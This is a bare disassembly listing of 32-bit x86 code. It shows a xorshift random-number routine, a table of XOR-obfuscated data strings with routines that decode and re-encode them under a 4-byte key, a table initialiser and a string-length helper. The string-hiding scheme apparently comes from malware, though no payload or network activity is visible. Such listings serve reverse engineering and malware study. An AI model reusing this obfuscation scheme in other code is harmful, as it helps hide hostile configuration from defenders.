804b47c: 6a 1c push $0x1c | |
804b47e: e8 2d 01 00 00 call 0x804b5b0 | |
804b483: 83 c4 3c add $0x3c,%esp | |
804b486: 5b pop %ebx | |
804b487: 5e pop %esi | |
804b488: 5f pop %edi | |
804b489: 5d pop %ebp | |
804b48a: c3 ret | |
804b48b: 90 nop | |
804b48c: 90 nop | |
804b48d: 90 nop | |
804b48e: 90 nop | |
804b48f: 90 nop | |
804b490: 55 push %ebp | |
804b491: 57 push %edi | |
804b492: 56 push %esi | |
804b493: 53 push %ebx | |
804b494: 83 ec 04 sub $0x4,%esp | |
804b497: 8b 5c 24 1c mov 0x1c(%esp),%ebx | |
804b49b: 8b 7c 24 18 mov 0x18(%esp),%edi | |
804b49f: 85 db test %ebx,%ebx | |
804b4a1: 0f 8e 8e 00 00 00 jle 0x804b535 | |
804b4a7: a1 d8 f0 04 08 mov 0x804f0d8,%eax | |
804b4ac: 8b 35 dc f0 04 08 mov 0x804f0dc,%esi | |
804b4b2: 89 04 24 mov %eax,(%esp) | |
804b4b5: 8b 2d d4 f0 04 08 mov 0x804f0d4,%ebp | |
804b4bb: a1 d0 f0 04 08 mov 0x804f0d0,%eax | |
804b4c0: eb 2d jmp 0x804b4ef | |
804b4c2: 89 c2 mov %eax,%edx | |
804b4c4: 83 eb 04 sub $0x4,%ebx | |
804b4c7: c1 e2 0b shl $0xb,%edx | |
804b4ca: 31 c2 xor %eax,%edx | |
804b4cc: 89 f0 mov %esi,%eax | |
804b4ce: c1 e8 13 shr $0x13,%eax | |
804b4d1: 89 d1 mov %edx,%ecx | |
804b4d3: c1 e9 08 shr $0x8,%ecx | |
804b4d6: 31 f0 xor %esi,%eax | |
804b4d8: 31 c2 xor %eax,%edx | |
804b4da: 31 d1 xor %edx,%ecx | |
804b4dc: 89 0f mov %ecx,(%edi) | |
804b4de: 83 c7 04 add $0x4,%edi | |
804b4e1: 85 db test %ebx,%ebx | |
804b4e3: 7e 36 jle 0x804b51b | |
804b4e5: 89 e8 mov %ebp,%eax | |
804b4e7: 8b 2c 24 mov (%esp),%ebp | |
804b4ea: 89 34 24 mov %esi,(%esp) | |
804b4ed: 89 ce mov %ecx,%esi | |
804b4ef: 83 fb 03 cmp $0x3,%ebx | |
804b4f2: 7f ce jg 0x804b4c2 | |
804b4f4: 83 fb 01 cmp $0x1,%ebx | |
804b4f7: 74 47 je 0x804b540 | |
804b4f9: 89 c2 mov %eax,%edx | |
804b4fb: 83 eb 02 sub $0x2,%ebx | |
804b4fe: c1 e2 0b shl $0xb,%edx | |
804b501: 31 c2 xor %eax,%edx | |
804b503: 89 f0 mov %esi,%eax | |
804b505: c1 e8 13 shr $0x13,%eax | |
804b508: 89 d1 mov %edx,%ecx | |
804b50a: c1 e9 08 shr $0x8,%ecx | |
804b50d: 31 f0 xor %esi,%eax | |
804b50f: 31 c2 xor %eax,%edx | |
804b511: 31 d1 xor %edx,%ecx | |
804b513: 66 89 0f mov %cx,(%edi) | |
804b516: 83 c7 02 add $0x2,%edi | |
804b519: eb c6 jmp 0x804b4e1 | |
804b51b: 8b 04 24 mov (%esp),%eax | |
804b51e: 89 0d dc f0 04 08 mov %ecx,0x804f0dc | |
804b524: 89 35 d8 f0 04 08 mov %esi,0x804f0d8 | |
804b52a: a3 d4 f0 04 08 mov %eax,0x804f0d4 | |
804b52f: 89 2d d0 f0 04 08 mov %ebp,0x804f0d0 | |
804b535: 58 pop %eax | |
804b536: 5b pop %ebx | |
804b537: 5e pop %esi | |
804b538: 5f pop %edi | |
804b539: 5d pop %ebp | |
804b53a: c3 ret | |
804b53b: 90 nop | |
804b53c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi | |
804b540: 89 c1 mov %eax,%ecx | |
804b542: 89 2d d0 f0 04 08 mov %ebp,0x804f0d0 | |
804b548: c1 e1 0b shl $0xb,%ecx | |
804b54b: 89 35 d8 f0 04 08 mov %esi,0x804f0d8 | |
804b551: 31 c1 xor %eax,%ecx | |
804b553: 8b 04 24 mov (%esp),%eax | |
804b556: a3 d4 f0 04 08 mov %eax,0x804f0d4 | |
804b55b: 89 f0 mov %esi,%eax | |
804b55d: c1 e8 13 shr $0x13,%eax | |
804b560: 89 ca mov %ecx,%edx | |
804b562: c1 ea 08 shr $0x8,%edx | |
804b565: 31 f0 xor %esi,%eax | |
804b567: 31 c1 xor %eax,%ecx | |
804b569: 31 ca xor %ecx,%edx | |
804b56b: 89 15 dc f0 04 08 mov %edx,0x804f0dc | |
804b571: 88 17 mov %dl,(%edi) | |
804b573: 58 pop %eax | |
804b574: 5b pop %ebx | |
804b575: 5e pop %esi | |
804b576: 5f pop %edi | |
804b577: 5d pop %ebp | |
804b578: c3 ret | |
804b579: 90 nop | |
804b57a: 90 nop | |
804b57b: 90 nop | |
804b57c: 90 nop | |
804b57d: 90 nop | |
804b57e: 90 nop | |
804b57f: 90 nop | |
804b580: 8b 44 24 04 mov 0x4(%esp),%eax | |
804b584: 8b 4c 24 08 mov 0x8(%esp),%ecx | |
804b588: 85 c9 test %ecx,%ecx | |
804b58a: 8d 14 c5 00 00 00 00 lea 0x0(,%eax,8),%edx | |
804b591: 8d 82 40 f1 04 08 lea 0x804f140(%edx),%eax | |
804b597: 74 0a je 0x804b5a3 | |
804b599: 8b 40 04 mov 0x4(%eax),%eax | |
804b59c: 25 ff ff 00 00 and $0xffff,%eax | |
804b5a1: 89 01 mov %eax,(%ecx) | |
804b5a3: 8b 82 40 f1 04 08 mov 0x804f140(%edx),%eax | |
804b5a9: c3 ret | |
804b5aa: 90 nop | |
804b5ab: 90 nop | |
804b5ac: 90 nop | |
804b5ad: 90 nop | |
804b5ae: 90 nop | |
804b5af: 90 nop | |
804b5b0: 55 push %ebp | |
804b5b1: 57 push %edi | |
804b5b2: 56 push %esi | |
804b5b3: 53 push %ebx | |
804b5b4: 83 ec 1c sub $0x1c,%esp | |
804b5b7: 31 c0 xor %eax,%eax | |
804b5b9: 8a 44 24 30 mov 0x30(%esp),%al | |
804b5bd: 8d 0c c5 40 f1 04 08 lea 0x804f140(,%eax,8),%ecx | |
804b5c4: a1 34 f0 04 08 mov 0x804f034,%eax | |
804b5c9: 66 83 79 04 00 cmpw $0x0,0x4(%ecx) | |
804b5ce: 74 4a je 0x804b61a | |
804b5d0: 89 c7 mov %eax,%edi | |
804b5d2: 89 c6 mov %eax,%esi | |
804b5d4: 89 c5 mov %eax,%ebp | |
804b5d6: 31 d2 xor %edx,%edx | |
804b5d8: c1 e8 18 shr $0x18,%eax | |
804b5db: c1 ef 08 shr $0x8,%edi | |
804b5de: 88 04 24 mov %al,(%esp) | |
804b5e1: c1 ee 10 shr $0x10,%esi | |
804b5e4: 8b 19 mov (%ecx),%ebx | |
804b5e6: 89 d0 mov %edx,%eax | |
804b5e8: 01 d8 add %ebx,%eax | |
804b5ea: 89 eb mov %ebp,%ebx | |
804b5ec: 30 18 xor %bl,(%eax) | |
804b5ee: 89 d0 mov %edx,%eax | |
804b5f0: 8b 19 mov (%ecx),%ebx | |
804b5f2: 01 d8 add %ebx,%eax | |
804b5f4: 89 fb mov %edi,%ebx | |
804b5f6: 30 18 xor %bl,(%eax) | |
804b5f8: 89 d0 mov %edx,%eax | |
804b5fa: 8b 19 mov (%ecx),%ebx | |
804b5fc: 01 d8 add %ebx,%eax | |
804b5fe: 89 f3 mov %esi,%ebx | |
804b600: 30 18 xor %bl,(%eax) | |
804b602: 89 d0 mov %edx,%eax | |
804b604: 8b 19 mov (%ecx),%ebx | |
804b606: 42 inc %edx | |
804b607: 01 d8 add %ebx,%eax | |
804b609: 8a 1c 24 mov (%esp),%bl | |
804b60c: 30 18 xor %bl,(%eax) | |
804b60e: 8b 41 04 mov 0x4(%ecx),%eax | |
804b611: 25 ff ff 00 00 and $0xffff,%eax | |
804b616: 39 d0 cmp %edx,%eax | |
804b618: 7f ca jg 0x804b5e4 | |
804b61a: 83 c4 1c add $0x1c,%esp | |
804b61d: 5b pop %ebx | |
804b61e: 5e pop %esi | |
804b61f: 5f pop %edi | |
804b620: 5d pop %ebp | |
804b621: c3 ret | |
804b622: 90 nop | |
804b623: 90 nop | |
804b624: 90 nop | |
804b625: 90 nop | |
804b626: 90 nop | |
804b627: 90 nop | |
804b628: 90 nop | |
804b629: 90 nop | |
804b62a: 90 nop | |
804b62b: 90 nop | |
804b62c: 90 nop | |
804b62d: 90 nop | |
804b62e: 90 nop | |
804b62f: 90 nop | |
804b630: 55 push %ebp | |
804b631: 57 push %edi | |
804b632: 56 push %esi | |
804b633: 53 push %ebx | |
804b634: 83 ec 1c sub $0x1c,%esp | |
804b637: 31 c0 xor %eax,%eax | |
804b639: 8a 44 24 30 mov 0x30(%esp),%al | |
804b63d: 8d 0c c5 40 f1 04 08 lea 0x804f140(,%eax,8),%ecx | |
804b644: a1 34 f0 04 08 mov 0x804f034,%eax | |
804b649: 66 83 79 04 00 cmpw $0x0,0x4(%ecx) | |
804b64e: 74 4a je 0x804b69a | |
804b650: 89 c7 mov %eax,%edi | |
804b652: 89 c6 mov %eax,%esi | |
804b654: 89 c5 mov %eax,%ebp | |
804b656: 31 d2 xor %edx,%edx | |
804b658: c1 e8 18 shr $0x18,%eax | |
804b65b: c1 ef 08 shr $0x8,%edi | |
804b65e: 88 04 24 mov %al,(%esp) | |
804b661: c1 ee 10 shr $0x10,%esi | |
804b664: 8b 19 mov (%ecx),%ebx | |
804b666: 89 d0 mov %edx,%eax | |
804b668: 01 d8 add %ebx,%eax | |
804b66a: 89 eb mov %ebp,%ebx | |
804b66c: 30 18 xor %bl,(%eax) | |
804b66e: 89 d0 mov %edx,%eax | |
804b670: 8b 19 mov (%ecx),%ebx | |
804b672: 01 d8 add %ebx,%eax | |
804b674: 89 fb mov %edi,%ebx | |
804b676: 30 18 xor %bl,(%eax) | |
804b678: 89 d0 mov %edx,%eax | |
804b67a: 8b 19 mov (%ecx),%ebx | |
804b67c: 01 d8 add %ebx,%eax | |
804b67e: 89 f3 mov %esi,%ebx | |
804b680: 30 18 xor %bl,(%eax) | |
804b682: 89 d0 mov %edx,%eax | |
804b684: 8b 19 mov (%ecx),%ebx | |
804b686: 42 inc %edx | |
804b687: 01 d8 add %ebx,%eax | |
804b689: 8a 1c 24 mov (%esp),%bl | |
804b68c: 30 18 xor %bl,(%eax) | |
804b68e: 8b 41 04 mov 0x4(%ecx),%eax | |
804b691: 25 ff ff 00 00 and $0xffff,%eax | |
804b696: 39 d0 cmp %edx,%eax | |
804b698: 7f ca jg 0x804b664 | |
804b69a: 83 c4 1c add $0x1c,%esp | |
804b69d: 5b pop %ebx | |
804b69e: 5e pop %esi | |
804b69f: 5f pop %edi | |
804b6a0: 5d pop %ebp | |
804b6a1: c3 ret | |
804b6a2: 90 nop | |
804b6a3: 90 nop | |
804b6a4: 90 nop | |
804b6a5: 90 nop | |
804b6a6: 90 nop | |
804b6a7: 90 nop | |
804b6a8: 90 nop | |
804b6a9: 90 nop | |
804b6aa: 90 nop | |
804b6ab: 90 nop | |
804b6ac: 90 nop | |
804b6ad: 90 nop | |
804b6ae: 90 nop | |
804b6af: 90 nop | |
804b6b0: 53 push %ebx | |
804b6b1: 83 ec 14 sub $0x14,%esp | |
804b6b4: 6a 02 push $0x2 | |
804b6b6: e8 b5 11 00 00 call 0x804c870 | |
804b6bb: 83 c4 0c add $0xc,%esp | |
804b6be: 89 c3 mov %eax,%ebx | |
804b6c0: 6a 02 push $0x2 | |
804b6c2: 68 99 e8 04 08 push $0x804e899 | |
804b6c7: 50 push %eax | |
804b6c8: e8 93 05 00 00 call 0x804bc60 | |
804b6cd: 89 1d 48 f1 04 08 mov %ebx,0x804f148 | |
804b6d3: c7 04 24 02 00 00 00 movl $0x2,(%esp) | |
804b6da: 66 c7 05 4c f1 04 08 movw $0x2,0x804f14c | |
804b6e1: 02 00 | |
804b6e3: e8 88 11 00 00 call 0x804c870 | |
804b6e8: 83 c4 0c add $0xc,%esp | |
804b6eb: 89 c3 mov %eax,%ebx | |
804b6ed: 6a 02 push $0x2 | |
804b6ef: 68 9c e8 04 08 push $0x804e89c | |
804b6f4: 50 push %eax | |
804b6f5: e8 66 05 00 00 call 0x804bc60 | |
804b6fa: 89 1d 50 f1 04 08 mov %ebx,0x804f150 | |
804b700: c7 04 24 17 00 00 00 movl $0x17,(%esp) | |
804b707: 66 c7 05 54 f1 04 08 movw $0x2,0x804f154 | |
804b70e: 02 00 | |
804b710: e8 5b 11 00 00 call 0x804c870 | |
804b715: 83 c4 0c add $0xc,%esp | |
804b718: 89 c3 mov %eax,%ebx | |
804b71a: 6a 17 push $0x17 | |
804b71c: 68 9f e8 04 08 push $0x804e89f | |
804b721: 50 push %eax | |
804b722: e8 39 05 00 00 call 0x804bc60 | |
804b727: 89 1d 58 f1 04 08 mov %ebx,0x804f158 | |
804b72d: c7 04 24 06 00 00 00 movl $0x6,(%esp) | |
804b734: 66 c7 05 5c f1 04 08 movw $0x17,0x804f15c | |
804b73b: 17 00 | |
804b73d: e8 2e 11 00 00 call 0x804c870 | |
804b742: 83 c4 0c add $0xc,%esp | |
804b745: 89 c3 mov %eax,%ebx | |
804b747: 6a 06 push $0x6 | |
804b749: 68 b7 e8 04 08 push $0x804e8b7 | |
804b74e: 50 push %eax | |
804b74f: e8 0c 05 00 00 call 0x804bc60 | |
804b754: 89 1d 60 f1 04 08 mov %ebx,0x804f160 | |
804b75a: c7 04 24 07 00 00 00 movl $0x7,(%esp) | |
804b761: 66 c7 05 64 f1 04 08 movw $0x6,0x804f164 | |
804b768: 06 00 | |
804b76a: e8 01 11 00 00 call 0x804c870 | |
804b76f: 83 c4 0c add $0xc,%esp | |
804b772: 89 c3 mov %eax,%ebx | |
804b774: 6a 07 push $0x7 | |
804b776: 68 be e8 04 08 push $0x804e8be | |
804b77b: 50 push %eax | |
804b77c: e8 df 04 00 00 call 0x804bc60 | |
804b781: 89 1d 68 f1 04 08 mov %ebx,0x804f168 | |
804b787: c7 04 24 07 00 00 00 movl $0x7,(%esp) | |
804b78e: 66 c7 05 6c f1 04 08 movw $0x7,0x804f16c | |
804b795: 07 00 | |
804b797: e8 d4 10 00 00 call 0x804c870 | |
804b79c: 83 c4 0c add $0xc,%esp | |
804b79f: 89 c3 mov %eax,%ebx | |
804b7a1: 6a 07 push $0x7 | |
804b7a3: 68 c6 e8 04 08 push $0x804e8c6 | |
804b7a8: 50 push %eax | |
804b7a9: e8 b2 04 00 00 call 0x804bc60 | |
804b7ae: 89 1d 70 f1 04 08 mov %ebx,0x804f170 | |
804b7b4: c7 04 24 03 00 00 00 movl $0x3,(%esp) | |
804b7bb: 66 c7 05 74 f1 04 08 movw $0x7,0x804f174 | |
804b7c2: 07 00 | |
804b7c4: e8 a7 10 00 00 call 0x804c870 | |
804b7c9: 83 c4 0c add $0xc,%esp | |
804b7cc: 89 c3 mov %eax,%ebx | |
804b7ce: 6a 03 push $0x3 | |
804b7d0: 68 ce e8 04 08 push $0x804e8ce | |
804b7d5: 50 push %eax | |
804b7d6: e8 85 04 00 00 call 0x804bc60 | |
804b7db: 89 1d 78 f1 04 08 mov %ebx,0x804f178 | |
804b7e1: c7 04 24 13 00 00 00 movl $0x13,(%esp) | |
804b7e8: 66 c7 05 7c f1 04 08 movw $0x3,0x804f17c | |
804b7ef: 03 00 | |
804b7f1: e8 7a 10 00 00 call 0x804c870 | |
804b7f6: 83 c4 0c add $0xc,%esp | |
804b7f9: 89 c3 mov %eax,%ebx | |
804b7fb: 6a 13 push $0x13 | |
804b7fd: 68 d2 e8 04 08 push $0x804e8d2 | |
804b802: 50 push %eax | |
804b803: e8 58 04 00 00 call 0x804bc60 | |
804b808: 89 1d 80 f1 04 08 mov %ebx,0x804f180 | |
804b80e: c7 04 24 18 00 00 00 movl $0x18,(%esp) | |
804b815: 66 c7 05 84 f1 04 08 movw $0x13,0x804f184 | |
804b81c: 13 00 | |
804b81e: e8 4d 10 00 00 call 0x804c870 | |
804b823: 83 c4 0c add $0xc,%esp | |
804b826: 89 c3 mov %eax,%ebx | |
804b828: 6a 18 push $0x18 | |
804b82a: 68 e6 e8 04 08 push $0x804e8e6 | |
804b82f: 50 push %eax | |
804b830: e8 2b 04 00 00 call 0x804bc60 | |
804b835: 89 1d 88 f1 04 08 mov %ebx,0x804f188 | |
804b83b: c7 04 24 09 00 00 00 movl $0x9,(%esp) | |
804b842: 66 c7 05 8c f1 04 08 movw $0x18,0x804f18c | |
804b849: 18 00 | |
804b84b: e8 20 10 00 00 call 0x804c870 | |
804b850: 83 c4 0c add $0xc,%esp | |
804b853: 89 c3 mov %eax,%ebx | |
804b855: 6a 09 push $0x9 | |
804b857: 68 ff e8 04 08 push $0x804e8ff | |
804b85c: 50 push %eax | |
804b85d: e8 fe 03 00 00 call 0x804bc60 | |
804b862: 89 1d 90 f1 04 08 mov %ebx,0x804f190 | |
804b868: c7 04 24 10 00 00 00 movl $0x10,(%esp) | |
804b86f: 66 c7 05 94 f1 04 08 movw $0x9,0x804f194 | |
804b876: 09 00 | |
804b878: e8 f3 0f 00 00 call 0x804c870 | |
804b87d: 83 c4 0c add $0xc,%esp | |
804b880: 89 c3 mov %eax,%ebx | |
804b882: 6a 10 push $0x10 | |
804b884: 68 09 e9 04 08 push $0x804e909 | |
804b889: 50 push %eax | |
804b88a: e8 d1 03 00 00 call 0x804bc60 | |
804b88f: 89 1d 98 f1 04 08 mov %ebx,0x804f198 | |
804b895: c7 04 24 16 00 00 00 movl $0x16,(%esp) | |
804b89c: 66 c7 05 9c f1 04 08 movw $0x10,0x804f19c | |
804b8a3: 10 00 | |
804b8a5: e8 c6 0f 00 00 call 0x804c870 | |
804b8aa: 83 c4 0c add $0xc,%esp | |
804b8ad: 89 c3 mov %eax,%ebx | |
804b8af: 6a 16 push $0x16 | |
804b8b1: 68 1a e9 04 08 push $0x804e91a | |
804b8b6: 50 push %eax | |
804b8b7: e8 a4 03 00 00 call 0x804bc60 | |
804b8bc: 89 1d a0 f1 04 08 mov %ebx,0x804f1a0 | |
804b8c2: c7 04 24 07 00 00 00 movl $0x7,(%esp) | |
804b8c9: 66 c7 05 a4 f1 04 08 movw $0x16,0x804f1a4 | |
804b8d0: 16 00 | |
804b8d2: e8 99 0f 00 00 call 0x804c870 | |
804b8d7: 83 c4 0c add $0xc,%esp | |
804b8da: 89 c3 mov %eax,%ebx | |
804b8dc: 6a 07 push $0x7 | |
804b8de: 68 31 e9 04 08 push $0x804e931 | |
804b8e3: 50 push %eax | |
804b8e4: e8 77 03 00 00 call 0x804bc60 | |
804b8e9: 89 1d a8 f1 04 08 mov %ebx,0x804f1a8 | |
804b8ef: c7 04 24 05 00 00 00 movl $0x5,(%esp) | |
804b8f6: 66 c7 05 ac f1 04 08 movw $0x7,0x804f1ac | |
804b8fd: 07 00 | |
804b8ff: e8 6c 0f 00 00 call 0x804c870 | |
804b904: 83 c4 0c add $0xc,%esp | |
804b907: 89 c3 mov %eax,%ebx | |
804b909: 6a 05 push $0x5 | |
804b90b: 68 39 e9 04 08 push $0x804e939 | |
804b910: 50 push %eax | |
804b911: e8 4a 03 00 00 call 0x804bc60 | |
804b916: 89 1d b0 f1 04 08 mov %ebx,0x804f1b0 | |
804b91c: c7 04 24 04 00 00 00 movl $0x4,(%esp) | |
804b923: 66 c7 05 b4 f1 04 08 movw $0x5,0x804f1b4 | |
804b92a: 05 00 | |
804b92c: e8 3f 0f 00 00 call 0x804c870 | |
804b931: 83 c4 0c add $0xc,%esp | |
804b934: 89 c3 mov %eax,%ebx | |
804b936: 6a 04 push $0x4 | |
804b938: 68 3f e9 04 08 push $0x804e93f | |
804b93d: 50 push %eax | |
804b93e: e8 1d 03 00 00 call 0x804bc60 | |
804b943: 89 1d b8 f1 04 08 mov %ebx,0x804f1b8 | |
804b949: c7 04 24 06 00 00 00 movl $0x6,(%esp) | |
804b950: 66 c7 05 bc f1 04 08 movw $0x4,0x804f1bc | |
804b957: 04 00 | |
804b959: e8 12 0f 00 00 call 0x804c870 | |
804b95e: 83 c4 0c add $0xc,%esp | |
804b961: 89 c3 mov %eax,%ebx | |
804b963: 6a 06 push $0x6 | |
804b965: 68 44 e9 04 08 push $0x804e944 | |
804b96a: 50 push %eax | |
804b96b: e8 f0 02 00 00 call 0x804bc60 | |
804b970: 89 1d c0 f1 04 08 mov %ebx,0x804f1c0 | |
804b976: c7 04 24 0e 00 00 00 movl $0xe,(%esp) | |
804b97d: 66 c7 05 c4 f1 04 08 movw $0x6,0x804f1c4 | |
804b984: 06 00 | |
804b986: e8 e5 0e 00 00 call 0x804c870 | |
804b98b: 83 c4 0c add $0xc,%esp | |
804b98e: 89 c3 mov %eax,%ebx | |
804b990: 6a 0e push $0xe | |
804b992: 68 4b e9 04 08 push $0x804e94b | |
804b997: 50 push %eax | |
804b998: e8 c3 02 00 00 call 0x804bc60 | |
804b99d: 89 1d c8 f1 04 08 mov %ebx,0x804f1c8 | |
804b9a3: c7 04 24 08 00 00 00 movl $0x8,(%esp) | |
804b9aa: 66 c7 05 cc f1 04 08 movw $0xe,0x804f1cc | |
804b9b1: 0e 00 | |
804b9b3: e8 b8 0e 00 00 call 0x804c870 | |
804b9b8: 83 c4 0c add $0xc,%esp | |
804b9bb: 89 c3 mov %eax,%ebx | |
804b9bd: 6a 08 push $0x8 | |
804b9bf: 68 5a e9 04 08 push $0x804e95a | |
804b9c4: 50 push %eax | |
804b9c5: e8 96 02 00 00 call 0x804bc60 | |
804b9ca: 89 1d 28 f2 04 08 mov %ebx,0x804f228 | |
804b9d0: c7 04 24 07 00 00 00 movl $0x7,(%esp) | |
804b9d7: 66 c7 05 2c f2 04 08 movw $0x8,0x804f22c | |
804b9de: 08 00 | |
804b9e0: e8 8b 0e 00 00 call 0x804c870 | |
804b9e5: 83 c4 0c add $0xc,%esp | |
804b9e8: 89 c3 mov %eax,%ebx | |
804b9ea: 6a 07 push $0x7 | |
804b9ec: 68 63 e9 04 08 push $0x804e963 | |
804b9f1: 50 push %eax | |
804b9f2: e8 69 02 00 00 call 0x804bc60 | |
804b9f7: 89 1d 30 f2 04 08 mov %ebx,0x804f230 | |
804b9fd: c7 04 24 10 00 00 00 movl $0x10,(%esp) | |
804ba04: 66 c7 05 34 f2 04 08 movw $0x7,0x804f234 | |
804ba0b: 07 00 | |
804ba0d: e8 5e 0e 00 00 call 0x804c870 | |
804ba12: 83 c4 0c add $0xc,%esp | |
804ba15: 89 c3 mov %eax,%ebx | |
804ba17: 6a 10 push $0x10 | |
804ba19: 68 6b e9 04 08 push $0x804e96b | |
804ba1e: 50 push %eax | |
804ba1f: e8 3c 02 00 00 call 0x804bc60 | |
804ba24: 89 1d d0 f1 04 08 mov %ebx,0x804f1d0 | |
804ba2a: c7 04 24 08 00 00 00 movl $0x8,(%esp) | |
804ba31: 66 c7 05 d4 f1 04 08 movw $0x10,0x804f1d4 | |
804ba38: 10 00 | |
804ba3a: e8 31 0e 00 00 call 0x804c870 | |
804ba3f: 83 c4 0c add $0xc,%esp | |
804ba42: 89 c3 mov %eax,%ebx | |
804ba44: 6a 08 push $0x8 | |
804ba46: 68 7c e9 04 08 push $0x804e97c | |
804ba4b: 50 push %eax | |
804ba4c: e8 0f 02 00 00 call 0x804bc60 | |
804ba51: 89 1d d8 f1 04 08 mov %ebx,0x804f1d8 | |
804ba57: c7 04 24 15 00 00 00 movl $0x15,(%esp) | |
804ba5e: 66 c7 05 dc f1 04 08 movw $0x8,0x804f1dc | |
804ba65: 08 00 | |
804ba67: e8 04 0e 00 00 call 0x804c870 | |
804ba6c: 83 c4 0c add $0xc,%esp | |
804ba6f: 89 c3 mov %eax,%ebx | |
804ba71: 6a 15 push $0x15 | |
804ba73: 68 f5 e9 04 08 push $0x804e9f5 | |
804ba78: 50 push %eax | |
804ba79: e8 e2 01 00 00 call 0x804bc60 | |
804ba7e: 89 1d e0 f1 04 08 mov %ebx,0x804f1e0 | |
804ba84: c7 04 24 11 00 00 00 movl $0x11,(%esp) | |
804ba8b: 66 c7 05 e4 f1 04 08 movw $0x15,0x804f1e4 | |
804ba92: 15 00 | |
804ba94: e8 d7 0d 00 00 call 0x804c870 | |
804ba99: 83 c4 0c add $0xc,%esp | |
804ba9c: 89 c3 mov %eax,%ebx | |
804ba9e: 6a 11 push $0x11 | |
804baa0: 68 85 e9 04 08 push $0x804e985 | |
804baa5: 50 push %eax | |
804baa6: e8 b5 01 00 00 call 0x804bc60 | |
804baab: 89 1d e8 f1 04 08 mov %ebx,0x804f1e8 | |
804bab1: c7 04 24 0c 00 00 00 movl $0xc,(%esp) | |
804bab8: 66 c7 05 ec f1 04 08 movw $0x11,0x804f1ec | |
804babf: 11 00 | |
804bac1: e8 aa 0d 00 00 call 0x804c870 | |
804bac6: 83 c4 0c add $0xc,%esp | |
804bac9: 89 c3 mov %eax,%ebx | |
804bacb: 6a 0c push $0xc | |
804bacd: 68 97 e9 04 08 push $0x804e997 | |
804bad2: 50 push %eax | |
804bad3: e8 88 01 00 00 call 0x804bc60 | |
804bad8: 89 1d f0 f1 04 08 mov %ebx,0x804f1f0 | |
804bade: c7 04 24 0e 00 00 00 movl $0xe,(%esp) | |
804bae5: 66 c7 05 f4 f1 04 08 movw $0xc,0x804f1f4 | |
804baec: 0c 00 | |
804baee: e8 7d 0d 00 00 call 0x804c870 | |
804baf3: 83 c4 0c add $0xc,%esp | |
804baf6: 89 c3 mov %eax,%ebx | |
804baf8: 6a 0e push $0xe | |
804bafa: 68 a4 e9 04 08 push $0x804e9a4 | |
804baff: 50 push %eax | |
804bb00: e8 5b 01 00 00 call 0x804bc60 | |
804bb05: 89 1d f8 f1 04 08 mov %ebx,0x804f1f8 | |
804bb0b: c7 04 24 13 00 00 00 movl $0x13,(%esp) | |
804bb12: 66 c7 05 fc f1 04 08 movw $0xe,0x804f1fc | |
804bb19: 0e 00 | |
804bb1b: e8 50 0d 00 00 call 0x804c870 | |
804bb20: 83 c4 0c add $0xc,%esp | |
804bb23: 89 c3 mov %eax,%ebx | |
804bb25: 6a 13 push $0x13 | |
804bb27: 68 b3 e9 04 08 push $0x804e9b3 | |
804bb2c: 50 push %eax | |
804bb2d: e8 2e 01 00 00 call 0x804bc60 | |
804bb32: 89 1d 00 f2 04 08 mov %ebx,0x804f200 | |
804bb38: c7 04 24 08 00 00 00 movl $0x8,(%esp) | |
804bb3f: 66 c7 05 04 f2 04 08 movw $0x13,0x804f204 | |
804bb46: 13 00 | |
804bb48: e8 23 0d 00 00 call 0x804c870 | |
804bb4d: 83 c4 0c add $0xc,%esp | |
804bb50: 89 c3 mov %eax,%ebx | |
804bb52: 6a 08 push $0x8 | |
804bb54: 68 c7 e9 04 08 push $0x804e9c7 | |
804bb59: 50 push %eax | |
804bb5a: e8 01 01 00 00 call 0x804bc60 | |
804bb5f: 89 1d 08 f2 04 08 mov %ebx,0x804f208 | |
804bb65: c7 04 24 05 00 00 00 movl $0x5,(%esp) | |
804bb6c: 66 c7 05 0c f2 04 08 movw $0x8,0x804f20c | |
804bb73: 08 00 | |
804bb75: e8 f6 0c 00 00 call 0x804c870 | |
804bb7a: 83 c4 0c add $0xc,%esp | |
804bb7d: 89 c3 mov %eax,%ebx | |
804bb7f: 6a 05 push $0x5 | |
804bb81: 68 d0 e9 04 08 push $0x804e9d0 | |
804bb86: 50 push %eax | |
804bb87: e8 d4 00 00 00 call 0x804bc60 | |
804bb8c: 89 1d 10 f2 04 08 mov %ebx,0x804f210 | |
804bb92: c7 04 24 06 00 00 00 movl $0x6,(%esp) | |
804bb99: 66 c7 05 14 f2 04 08 movw $0x5,0x804f214 | |
804bba0: 05 00 | |
804bba2: e8 c9 0c 00 00 call 0x804c870 | |
804bba7: 83 c4 0c add $0xc,%esp | |
804bbaa: 89 c3 mov %eax,%ebx | |
804bbac: 6a 06 push $0x6 | |
804bbae: 68 d6 e9 04 08 push $0x804e9d6 | |
804bbb3: 50 push %eax | |
804bbb4: e8 a7 00 00 00 call 0x804bc60 | |
804bbb9: 89 1d 18 f2 04 08 mov %ebx,0x804f218 | |
804bbbf: c7 04 24 17 00 00 00 movl $0x17,(%esp) | |
804bbc6: 66 c7 05 1c f2 04 08 movw $0x6,0x804f21c | |
804bbcd: 06 00 | |
804bbcf: e8 9c 0c 00 00 call 0x804c870 | |
804bbd4: 83 c4 0c add $0xc,%esp | |
804bbd7: 89 c3 mov %eax,%ebx | |
804bbd9: 6a 17 push $0x17 | |
804bbdb: 68 dd e9 04 08 push $0x804e9dd | |
804bbe0: 50 push %eax | |
804bbe1: e8 7a 00 00 00 call 0x804bc60 | |
804bbe6: 89 1d 20 f2 04 08 mov %ebx,0x804f220 | |
804bbec: 66 c7 05 24 f2 04 08 movw $0x17,0x804f224 | |
804bbf3: 17 00 | |
804bbf5: 83 c4 18 add $0x18,%esp | |
804bbf8: 5b pop %ebx | |
804bbf9: c3 ret | |
804bbfa: 90 nop | |
804bbfb: 90 nop | |
804bbfc: 90 nop | |
804bbfd: 90 nop | |
804bbfe: 90 nop | |
804bbff: 90 nop | |
804bc00: 8b 54 24 04 mov 0x4(%esp),%edx | |
804bc04: 31 c0 xor %eax,%eax | |
804bc06: 80 3a 00 cmpb $0x0,(%edx) | |
804bc09: 74 0c je 0x804bc17 | |
804bc0b: 90 nop | |
804bc0c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi | |
804bc10: 40 inc %eax | |
804bc11: 80 3c 10 00 cmpb $0x0,(%eax,%edx,1) | |
804bc15: 75 f9 jne 0x804bc10 | |
804bc17: c3 ret | |
804bc18: 90 nop | |
804bc19: 90 nop | |
804bc1a: 90 nop | |
804bc1b: 90 nop | |
804bc1c: 90 nop | |
804bc1d: 90 nop | |
804bc1e: 90 nop | |
